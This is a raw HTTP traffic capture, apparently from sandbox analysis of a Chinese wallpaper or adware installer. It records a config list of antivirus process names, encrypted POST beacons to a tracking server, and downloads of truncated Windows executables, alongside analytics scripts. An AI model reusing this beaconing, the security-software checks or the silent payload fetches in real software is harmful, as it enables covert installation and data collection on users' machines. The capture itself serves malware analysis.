Date: Mon, 09 Jun 2014 21:41:29 GMT
Content-Type: text/xml
Content-Length: 2415
Last-Modified: Thu, 05 Jun 2014 09:33:56 GMT
Connection: keep-alive
ETag: "53903984-96f"
Accept-Ranges: bytes
<?xml version="1.0" encoding="utf-8"?>.<body>..<soft&gt
;..<soft_id>2</soft_id>..<softdata>3430,360.........
...,360Tray.exe|3427,............,SGWallPaper.exe|3428,.........HD,Lov
eWallpaper4.exe|3417,......QQ,QQ.exe|3418,QQ......,QQMusic.exe|3422,36
0......,360sd.exe|3421,360......,360wpsrv.exe|3423,............,BaiduS
dSvc.exe|3424,............,BaiduAn.exe|3425,............,KSafeTray.exe
|3426,............,QQPCRTP.exe|3429,............,KanKan.exe|3432,.....
.,kxetray.exe|</softdata>.</soft>.<soft>..<soft_i
d>9</soft_id>..<softdata>3441,............,SGWallPaper.
exe|3442,.........HD,LoveWallpaper4.exe|3433,......QQ,QQ.exe|3434,QQ..
....,QQMusic.exe|3436,360......,360sd.exe|3435,360......,360wpsrv.exe|
3437,............,BaiduSdSvc.exe|3438,............,BaiduAn.exe|3439,..
..........,KSafeTray.exe|3440,............,QQPCRTP.exe|3444,360.......
.....,360Tray.exe|3443,............,KanKan.exe|3446,......,kxetray.exe
|3447,360............,360Desktop.exe|3448,............,Clsmn.exe|3449,
.....................,PBSClient.exe|3450,......,DF5Serv.exe|3451,.....
.,BarMonitor.exe|3452,.........,lock.exe|3458,............,BarClientVi
ew.exe|3459,iKeeper,update.exe|3460,............,.............exe|3465
,......,DbntCli.exe|</softdata>.</soft>.<soft>..<
soft_id>1</soft_id>..<softdata>3453,.........,lock.exe|
3454,......,BarMonitor.exe|3455,......,DF5Serv.exe|3456,..............
.......,PBSClient.exe|3457,............,Clsmn.exe|3461,iKeeper,upd
<<>>

POST /behavior/ HTTP/1.1
Host: tj.153624.com
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length:393

data=0nU/YbYz5K7D+woXHKKqAUxAjrZ5pBHQD917ZhicnCutsUTQ99RwRdETIDB+GlPpvxmu2ErU51oYcro7L69SGB5M8cAYjydVwjzBM4P9UAZwpvFKyIZIhDqP5c4p1bGiaDlq0lFNYoFi4Uqe1Jo92GOlNI/23NmsBA9lvEMwjO4Xw9UwDBS+AhGjNX55IFqo04DmX/oFHpEGMgFf2yci8YML5GI8asczsFztfUGiSVL4CT8Ibx3Xx5LxJPzKtBXeHzPKcN3uYFLYrLJXkl1o+GLjN1Fytnd01LFtNZNp/s5M0JD2LRpkILONhW3EviB4KmOqPIm0VpI=&sgin=a0cbe508a68688a05df6e1b4dd7063d1
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 21:40:31 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
2..ok..0..


GET /Public/Upload/Soft/kptoolbar_b_8.exe HTTP/1.1
Host: img.kuping.cc
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3


HTTP/1.0 200 OK
Server: nginx
Date: Fri, 30 May 2014 13:38:40 GMT
Content-Type: application/octet-stream
Content-Length: 3052176
Last-Modified: Fri, 30 May 2014 05:15:29 GMT
Accept-Ranges: bytes
X-Cache: HIT from xnop014-CT-JSNT-29-239.fastcdn.com
F-In-Cache: father-in-cache
Age: 65096
X-Cache: HIT from CT-ZJWZ-163-83.fastcdn.com
Connection: keep-alive
MZ......................@...................................(.........
..!..L.!This program cannot be run in DOS mode....$........d]TJ.3.J.3.
J.3.1.?.N.3..'8.I.3..&*.H.3... .@.3.J.3.M.3.(. .\.3...=.N.3.%.8.I.3.%.
9.A.3.%.7.N.3.|#8.M.3.|#7.I.3.J.2.K.3...8.h.3...5.K.3.RichJ.3.........
................PE..L......S..................... ......H.............
@..................................g/.................................
........,.......P3...........t........................................
.......................................................text...........
.................... ..`.rdata...i.......p..................@..@.data.
..Xq... ...p... ..............@....rsrc...P3.......@..................
@..@..................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<>>

GET /hmt/icon/21.gif HTTP/1.1
Accept: */*
Referer: hXXp://config.153624.com/Public/tongji_baidu.html?ip=&mac=00-0C-29-64-A0-20&area=&channel_id=53390&install_way=1&soft_id=1&start_way=0&type=install&version=4.3.2.2
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: eiv.baidu.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/gif
ETag: "762990053"
Accept-Ranges: bytes
Last-Modified: Tue, 13 Apr 2010 09:38:40 GMT
Expires: Wed, 17 Apr 2024 21:41:26 GMT
Cache-Control: max-age=311040000
Content-Length: 1119
Date: Mon, 09 Jun 2014 21:41:26 GMT
Server: BWS/1.0
Connection: Keep-Alive
GIF89a........s..E.....M...................ZS.2-.YS.......2,.c[..D....
...0'..:..0.&..]Z..8..>..D.TM.................C................._..
^.....u..w........~........k.4......X..d.......=1.....a.c[.PH.h_.....b
..........PH........A..9....h`..J..1.......g`..W........2........z.#..
.p..m....jd........*.............[Q...........6..G..............6..t..
........... ..TL.....!....$....."..;0.....h.7-..............Z.........
....%..:.....H@....^W.QJ..'. !..........70.._. %.'...T.0'..Q.G?.ws....
-$........h.}w.....>...........L.....#.......:0.............\S.....
........*".....Q..............<..T.!...p.$...}........N..........d_
...........j.......VN.....o.....e........[............................
......................................................................
....................!.......,............u...,..>6.T.T..&T.".H. ...
.3^.PQ.G..:^..H.-.T....2#!........K..iP.&..03%X..x.P/^.$...`...G>Xd
....!..d.T...j.,..fQ..8l<..U%..G|.h.......$p..f......R..b.....*R@W"
2y..8..V3.LV`t.e..7.>.........\D..O.H.....$...^.]..).. ...9..E...d\
...V.U1..i......B]......c.P<0.i...v.]D..G .?p-.CD.Fi;>..v....r`.
.&........./.dp....`.....;HTTP/1.1 200 OK..Content-Type: image/gif..ET
ag: "762990053"..Accept-Ranges: bytes..Last-Modified: Tue, 13 Apr 2010
 09:38:40 GMT..Expires: Wed, 17 Apr 2024 21:41:26 GMT..Cache-Control: 
max-age=311040000..Content-Length: 1119..Date: Mon, 09 Jun 2014 21:41:
26 GMT..Server: BWS/1.0..Connection: Keep-Alive..
<<>>

GET /Public/conf/icon/1/1_4_3_2_2/53390.xml HTTP/1.1
Host: config.153624.com
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 21:41:49 GMT
Content-Type: text/xml
Content-Length: 1880
Last-Modified: Mon, 09 Jun 2014 12:48:31 GMT
Connection: keep-alive
ETag: "5395ad1f-758"
Accept-Ranges: bytes
..._..O.K......&.......y.....{.".......g.........<..w .L.v...i]..mL
8<.l .b.gv.F..M..h..~6..>N.N.............X.....e.....q.....'.;&.
E...p.9.. .~.T.j.w...Vz..._.S.....9.O.....:Q...*..Cph...Y\v.7I.z.C ...
.....C.fJ.%.l?V?{~(~.$.Q...%H.8Bh..;Mu.?{~(~.$.Q...%H.8'}b-l.-..p9.z.[
....#....4..Y.e.V..9{..#........d:.X....kt..@T....=.3...EX.../....i.pM
n.%....-.....j....|...S.......n.g%).(.E.(.}.|p{...Q h...-..@..~...wI!.
n..!..n..r....o$........g...{.<....p>..SS.t...lA.F.si...U..8.`8.
........(. .;.In .;B....wP....u."....]....:.v.[..!0N.]....:.v?...I@...
~..{...va...Z..h.h.J*P.>......A.O....Q..5..dF8;..v..R.W.Vtd?~..x..t
..>..f..;.i.f..;..!)......~.w/"..FV..;.......@*.u.~._....P.q..q..!.
 ..7...... Wm.o`N.....7.D.3.q....J.t.aY.ji..oP.[Fl...K....Y.E.o7.,.e..
.L....?............I..q.....Y.O.....M.AM[|0..D..5...Y.O....2...H..L.\.
.....E..jb...2....a....<A.:b..,.s>1=m........F.h...b.}.Q.I.fg$Nj
m\...*. . Q.3.O..T.r..y....Q&(s0@&f....; .....I......G..-T.B.>.@..`
1.....X.G.......#.ar...V<..Y.. ..Gk~h6..)Q... $....A.Pe1W.^Q..S....
B.c-....K.....TG..-T.B.>.@..`1.....X.G."....g...Y.o..........]...q.
.SX...C.?...e.n...2$..C.?...ym......)..A...!N...\8.....&k.....Y.....p.
..w.b.K........[..*...I..6..X.........(SkF$^X.a`.;ICG.......,..$}?V_*d
'.X..$..M.!...#..P ...HA..!..T..6.pVTG.3..lK:~.'.....z./S.Ia..[..H.1&W
.....k..l.7........8....a.7........m .!L,....F...........<.=...k.sG
1 ....=.9....k=.4.J.AV.S...W....N..?.2..x....^0..Q...[.T.S..X....&....
..U .....89.?:..M.5.. .f...Sg ....m..l1.....nE...@...n!>......'
<<>>

GET /download.php/kuping_b_53390.exe HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: d.union.kuping.cc
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 21:37:29 GMT
Content-Type: application/octet-stream
Content-Length: 5072400
Last-Modified: Mon, 12 May 2014 02:03:05 GMT
Connection: keep-alive
ETag: "53702bd9-4d6610"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........d[TJ.5.J.5.
J.5.1.9.N.5..'>.I.5..&,.H.5...&.@.5.J.5.M.5.(.&.\.5...;.N.5.%.>.
I.5.%.?.A.5.%.1.N.5.|#>.M.5.|#1.I.5.J.4.H.5...>.h.5...3.K.5.Rich
J.5.........PE..L.....TS..................... ....................@...
..............................B1N.....................................
....,.......P3...........KM.x.........................................
...................................................text...............
................ ..`.rdata..,i.......p..................@..@.data...Pq
... ...p... ..............@....rsrc...P3.......@..................@..@
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................
<<>>

GET /ImagesCache/335x335min/data/Image/2013hjw/3yue/7hao/chbz/19/20133795822390.jpg HTTP/1.1
Host: img.wallba.com 
Accept: 
Referer:  hXXp://VVV.wallba.com/
User-Agent: Mozilla/4.0         (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent;)
Range: bytes=0- 


HTTP/1.1 206 Partial Content
Server: nginx
Date: Fri, 09 May 2014 09:13:20 GMT
Content-Type: image/jpeg
Last-Modified: Wed, 13 Mar 2013 03:57:37 GMT
Accept-Ranges: bytes
X-Via: 930-815-21-925-800 Fikker/Webcache/3.5.8, 615-692-941-511-739 Fikker/Webcache/3.5.8
Connection: close
Content-Length: 11142
Content-Range: bytes 0-11141/11142
......JFIF.............>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62),
 default quality....C................................... $.' ",#..(7),
01444.'9=82<.342...C...........2!.!22222222222222222222222222222222
222222222222222222........O.."........................................
....................}........!1A..Qa."q.2....#B...R..$3br........%&'()
*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................
......................................................................
..........................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.
....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.......................
.............................................................?..H...OH
.t.....B5...T.. J.b...:...S............ug.......U..S.f...Lts.....GV&lt
;.p..0.H.?j.c..:.%O1J$.).:.GO....J.)._.[......!H.u..H.P...).N()..m.x.E
.b.J......j...*..FR.2qQ.....H.R...S.U..$R....y..X.5>........*.B'UGD
F..qUdrjW..J.]t.%.......j&SV..C....l'..%.4.[d.....Td...l..-Zbl..U.9..*
.Z.3.2..@.W.j....fm...2.).*..k.n}J@.R.S.*uJ..H.c...u...I.,V...*...%.`.
 ......6RR..*...BU./4.:.by..*Q.H.S......?j.G.J.....0X.R..c....)....?eH
.N.E.b-.m.......b...N*.Z....h..Q..X .J..s.d..j.V:W!.=.(....5.......R."
'b..Rj..M8E...QZ..w*.\SJ...P..L..Z...d.4.h..W*2.J..[d....3 .Yj..m..e."
..U.".e.Ej.Z.3.UqP...2.v....F..iV.:D^j./...G.(w.LU.JDZ.W.. q.R..OU....
<.{).*P.......(.VvQ..1J%}...>](..ar.,u*.J..R...'....m..R...%....
jm.m...,b.8-8-H...d[(.R...9.b.-B....4...)..VI]..z.r6..M v._a&.*nN.9jI.
...I..Y..*.n .4........).T....i.".-D.V.b.".bh.mF.V...kD.efZ...2.eE
<<>>

GET /9.gif?abc=1&rnd=913603030 HTTP/1.1
Accept: */*
Referer: hXXp://img.wallba.com/Public/Configs/index.html?id=53390&class=silence
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: cnzz.mmstat.com
Connection: Keep-Alive


HTTP/1.1 302 Found
Server: Tengine
Date: Mon, 09 Jun 2014 21:41:29 GMT
Content-Type: image/gif
Content-Length: 43
Connection: keep-alive
P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"
Set-Cookie: cna=CRgdDIoZnicCAbhrJiboztvu; expires=Thu, 06-Jun-24 21:41:29 GMT; path=/; domain=.mmstat.com
Set-Cookie: sca=0b695c50; path=/; domain=.cnzz.mmstat.com
Set-Cookie: atpsida=061e85a72a58c8a8a07b67a4_1402350089; expires=Thu, 06-Jun-24 21:41:29 GMT; path=/; domain=.cnzz.mmstat.com
Location: hXXp://pcookie.cnzz.com/app.gif?&cna=CRgdDIoZnicCAbhrJiboztvu
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache
Pragma: no-cache
GIF89a.............!.......,...........L..;..


GET /core.php?web_id=4793307&t=z HTTP/1.1
Accept: */*
Referer: hXXp://img.wallba.com/Public/Configs/index.html?id=53390&class=silence
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: c.cnzz.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Date: Mon, 09 Jun 2014 21:41:28 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Mon, 09 Jun 2014 21:41:28 GMT
Expires: Mon, 09 Jun 2014 21:56:28 GMT
31f..!function(){var a,b,c,d=encodeURIComponent,e="4793307",f="",g="",
h="online_v3.php",i="hzs6.cnzz.com",j="1",k="text",l="z",m="站
38271;统计",n=window["_CNZZDbridge_" e].bobject,o="https:"
==document.location.protocol?"https:":"http:",p="0",q=o "//online.cnzz
.com/online/" h,r=[];r.push("id=" e),r.push("h=" i),r.push("on=" d(g))
,r.push("s=" d(f)),q ="?" r.join("&"),"0"===p&&n.callRequest([o "//cnz
z.mmstat.com/9.gif?abc=1"]),j&&(""!==g?n.createScriptIcon(q,"utf-8"):(
b="z"==l?"hXXp://VVV.cnzz.com/stat/website.php?web_id=" e:"hXXp://quan
jing.cnzz.com","pic"===k?(c=o "//icon.cnzz.com/img/" f ".gif",a="<a
 href='" b "' target=_blank title='" m "'><img border=0 hspace=0
 vspace=0 src='" c "'></a>"):a="<a href='" b "' target=_bl
ank title='" m "'>" m "</a>",n.createIcon([a])))}();...0..


GET /Public/conf/c-lock/1/1_4_3_2_2/53390.xml HTTP/1.1
Host: config.153624.com
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 21:41:30 GMT
Content-Type: text/xml
Content-Length: 1760
Last-Modified: Mon, 09 Jun 2014 02:30:09 GMT
Connection: keep-alive
ETag: "53951c31-6e0"
Accept-Ranges: bytes
.h....N..KN ...M..n7.#...!..t[......7....Zh.....].W._..C.S."..V|..#..o
....R.R:..R...17.[..F..*>......JK...n7.#....)..vW....B....|.p....1J
..S"....].a..:7j[........R.R:..qE.0.J.|.....|.n.0 .%b.......H..~.{....
/......:^.K?.e.........`).r...c.....n4[9!V~....~...X{|y....W?.Cqr.Z...
.......p ..&S!.GB^W=...W...3.z....9:..p..m..Q'G...fBQNgY". ..F...."..v
.i....p. ..C|...|../1.k9..^......5n<.r...zh......0.9...J.y........e
. M.N.....c.....|F.V.f......F...."..v.i....p. ..C|...|../1.k9..^..X.b.
#.......gM.#.....Id...y.&...=...W.....A..(^...P5.:..5..(.<...l.q...
..i....Z...e.p.d...F.d.......{Wa..e.b.2....>.k.hA.Q..0..I.S.K.|...R
E...@...]......U..L.Jv:..n...gU.......^z..Z..... ..m...=...j.....9..0L
=...W...\..N..<.?.. ..o..-. ...[..n7.#......9B........U.r.Zn ...Z0.
Q68....lL(/qS.&..?OY..q....[..].....)....q*.uf ...:....`_..9Q./..C.E.~
....xE.l...L|w......e. .B|..................|.LF/.l6t?t...C.[..N;:CJ8.
_..,...i."0...m{0......b0..Z..76.~.......B...B.5$...%{..>2.I..#.y..
...e. %.....:.X.....x.%.....:..].|....~.{..../.y.g.2.,m.<.0.&!.....
.....f.....Q}. /!..HG..OYq....H...?dJTm...Ut..%..z...W?.Cqr.Rr...O....
.,.6.=g......F/.l6t?t...C.[......"v.0....k.r...R.R:..I...kI....W.C...0
!.V2.#.........M.|&..#?..W?.Cqr...h ..8.......x=...W...!s.......S.bq..
.w..2.9.l.o.a......n7.#...0.....M$Z.U...*.@Ei.I..M.!...#..P ...HA...l.
.s&.B.......<...T.".b......=...W.......4......2.u...D.NV'x[..&h...(
6....Hh[e..%...(..py.E..q0.......3=..n_l..W?.Cqr.H....:.@.Z..Cl...."..
..b....].c...2:^4..(8.6..D..U.0...C..&...n....,..I.....e. ..D ...I
<<>>

GET /Public/Configs/index.html?id=53390&class=silence HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: img.wallba.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 07:16:33 GMT
Content-Type: text/html; charset=utf-8
Last-Modified: Thu, 02 May 2013 04:18:13 GMT
Content-Length: 493
Content-Encoding: gzip
Vary: Accept-Encoding
Connection: keep-alive
X-Via: 615-692-941-511-739 Fikker/Webcache/3.5.8
..........mRQ..0....;..J[.j......J.E.... .k..n.U.gc.i.2..p.....N..e..g
..........*...@....._].].....]......M..........u,3......EZ.3B.....e.'.
'r.ZcKn..~..\s..v.u.c.d.............L..`.#q[....d.E.G.)..X..H..&.=...B
...z7:G@...u".,........?...1O.-e.P.......>%.G<VyBO.Lfb^w.X...T..
m.......(M5..."..d...3}^...!E..l_....G....D..i..^.2..l....j.....p..(..
RK&..a0.;R3...\.25...d....-t.......`.f6....{fU.Z..L(Fs1@=w..~........I
qHc^..........O'.........c^x.......&N.......s7.d;....m..A...z.......`.
...g.......


GET /core.php?web_id=4833416&t=z HTTP/1.1
Accept: */*
Referer: hXXp://config.wallba.com/Public/Configs/Liveindex.html?id=53390
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: c.cnzz.com
Connection: Keep-Alive
Cookie: cna=CRgdDIoZnicCAbhrJiboztvu


HTTP/1.1 200 OK
Server: Tengine
Date: Mon, 09 Jun 2014 21:41:31 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Mon, 09 Jun 2014 21:41:31 GMT
Expires: Mon, 09 Jun 2014 21:56:31 GMT
320..!function(){var a,b,c,d=encodeURIComponent,e="4833416",f="",g="",
h="online_v3.php",i="hzs21.cnzz.com",j="1",k="text",l="z",m="站&
#38271;统计",n=window["_CNZZDbridge_" e].bobject,o="https:
"==document.location.protocol?"https:":"http:",p="1",q=o "//online.cnz
z.com/online/" h,r=[];r.push("id=" e),r.push("h=" i),r.push("on=" d(g)
),r.push("s=" d(f)),q ="?" r.join("&"),"0"===p&&n.callRequest([o "//cn
zz.mmstat.com/9.gif?abc=1"]),j&&(""!==g?n.createScriptIcon(q,"utf-8"):
(b="z"==l?"hXXp://VVV.cnzz.com/stat/website.php?web_id=" e:"hXXp://qua
njing.cnzz.com","pic"===k?(c=o "//icon.cnzz.com/img/" f ".gif",a="<
a href='" b "' target=_blank title='" m "'><img border=0 hspace=
0 vspace=0 src='" c "'></a>"):a="<a href='" b "' target=_b
lank title='" m "'>" m "</a>",n.createIcon([a])))}();...0..


GET /Public/conf/homepage/1/1_4_3_2_2/53390.xml HTTP/1.1
Host: config.153624.com
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 21:41:48 GMT
Content-Type: text/xml
Content-Length: 1008
Last-Modified: Mon, 09 Jun 2014 10:06:23 GMT
Connection: keep-alive
ETag: "5395871f-3f0"
Accept-Ranges: bytes
..._..O.K......&.......y.....{.".......g.........<..w .L\...y... {.
T.Q..s.zG..37. Z)E....M<.GFR........%.._w.r...E........H....C.d%.&l
t;.:p......<."...<W.(..o.W..U.re.......w...{N..f...hb.....9.O...
..:Q.......g...3..4....w...{N.6.Z.. v..3..4....w...{N@.`.p..9z.....&gt
;d)..<.....Y&y...s8p.y..#.."..L.@DD.D.....".eG...w(...I..#.X.#.....
.8..<..4..._O...'v..1.?.gl.%1].DC.'...Qh9G...`..s........1J.Wi.T. .
..k..D..8.r..r......6]T......88._.:/Rmfv...-.D.NV'x[..&h...(6....Hh[..
...h#.sEDJ {.......z./S.Ia..[..H.1&W.....k..l.7........8....a.7.......
.m .!L,....F...........<.=...k.sG1 ....=.9....k=._....FU.E.......N.
.?.2..x....^0..Q...[.T.S..X....&......U .....89.?:..M.5.. .f...Sg ....
m..l1.....nE...@...n!>....n...a...U.)c8\XF~...]R.`=.t..........X.mz
p..6M....K...ys%if.[n. (!.. F;...L......-..`......r..[5c|F...i'..D.*..
M.X.y.J.35.....q..XnZ|.6...cE....t.pn.%........y,1J=.$..........K.N`..
..../....C..Fr....A..=..L.BqO'..........l...K......Y...i.[..jX..s..`..
..&.1.X.}.2/....dQ.<.S....3...3.=.p...pD......Q...u....%.W..


POST /report/ HTTP/1.1
Host: tj.153624.com
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length:265

data=ZjMVYVZwiAK6CCJeRTMd8GRRFDSozsFpL8eET1YEPNZUpp1dD07N2+hMP3YkgF+Py4XdGkccJqpP6XUfeSGnx6LgpwTcjAFeYsc0Ox/+rd+EYKlhxcfcMyOsKfBrkQYVlPMzUsBlUZ7N7wZcYCq2krolWnI/QhbjfD+X6tPUtaj7d1+VorceohIfyrs3Ph9PIbfbD9HqgjQ=&sgin=07ad79cac644591c6782af1493bbfc45
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 21:40:20 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
2..ok..0..


GET /stat.php?id=4793307&web_id=4793307 HTTP/1.1
Accept: */*
Referer: hXXp://img.wallba.com/Public/Configs/index.html?id=53390&class=silence
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: s4.cnzz.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: Tengine
Date: Mon, 09 Jun 2014 21:41:24 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Mon, 09 Jun 2014 21:41:24 GMT
Expires: Mon, 09 Jun 2014 23:11:24 GMT
1f7a..(function(){function l(){this.c="4793307";this.R="z";this.N="";t
his.K="";this.M="";this.o="1402350084";this.P="hzs6.cnzz.com";this.L="
";this.s="CNZZDATA" this.c;this.r="_CNZZDbridge_" this.c;this.G="_cnzz
_CV" this.c;this.u="0";this.B={};this.a={};this.la()}function g(a,b){t
ry{var c=[];c.push("siteid=4793307");.c.push("name=" d(a.name));c.push
("msg=" d(a.message));c.push("r=" d(h.referrer));c.push("page=" d(f.lo
cation.href));c.push("agent=" d(f.navigator.userAgent));c.push("ex=" d
(b));c.push("rnd=" Math.floor(2147483648*Math.random()));(new Image).s
rc="hXXp://jserr.cnzz.com/log.php?" c.join("&")}catch(e){}}var h=docum
ent,f=window,d=encodeURIComponent,k=decodeURIComponent,p=unescape,r=es
cape,m="https:"===f.location.protocol?"https:":"http:",s=m "//c.cnzz.c
om/core.php";l.prototype={la:function(){try{this.U(),.this.J(),this.ia
(),this.H(),this.m(),this.ga(),this.fa(),this.ja(),this.j(),this.ea(),
this.ha(),this.ka(),this.ca(),this.aa(),this.da(),this.qa(),f[this.r]=
f[this.r]||{},this.ba("_cnzz_CV")}catch(a){g(a,"i failed")}},oa:functi
on(){try{var a=this;f._czc={push:function(){return a.C.apply(a,argumen
ts)}}}catch(b){g(b,"oP failed")}},aa:function(){try{var a=f._czc;if("[
object Array]"==={}.toString.call(a))for(var b=0;b<a.length;b  ){va
r c=a[b];switch(c[0]){case "_setAccount":f._cz_account="[object String
]"===.{}.toString.call(c[1])?c[1]:String(c[1]);break;case "_setAutoPag
eview":"boolean"===typeof c[1]&&(f._cz_autoPageview=c[1])}}}catch(e){g
(e,"cS failed")}},qa:function(){try{if("undefined"===typeof f._cz_
<<>>

GET /Public/conf/open/1/1_4_3_2_2/10.jpg HTTP/1.1
Host: config.153624.com
Connection: keep-alive 
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
Accept-Encoding: deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 09 Jun 2014 21:41:28 GMT
Content-Type: image/jpeg
Content-Length: 631
Last-Modified: Fri, 09 May 2014 08:26:40 GMT
Connection: keep-alive
ETag: "536c9140-277"
Accept-Ranges: bytes
......JFIF.....`.`.....C..............................................
......................C...............................................
............................."........................................
....................}........!1A..Qa."q.2....#B...R..$3br........%&'()
*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................
......................................................................
..........................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.
....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz.......................
.............................................................?..S..(..
...


GET /Public/Configs/KpInstall/AnImg.xml HTTP/1.1
Host: config.wallba.com 
Accept: 
Referer:  hXXp://VVV.wallba.com/
User-Agent: Mozilla/4.0         (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent;)
Range: bytes=0- 


HTTP/1.1 206 Partial Content
Server: nginx
Date: Mon, 09 Jun 2014 21:38:08 GMT
Content-Type: text/xml
Content-Length: 581
Last-Modified: Fri, 28 Mar 2014 03:35:50 GMT
Connection: keep-alive
ETag: "5334ee16-245"
Content-Range: bytes 0-580/581
<?xml version="1.0" encoding="utf-8"?><think><AnImg>
<img1>hXXp://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue
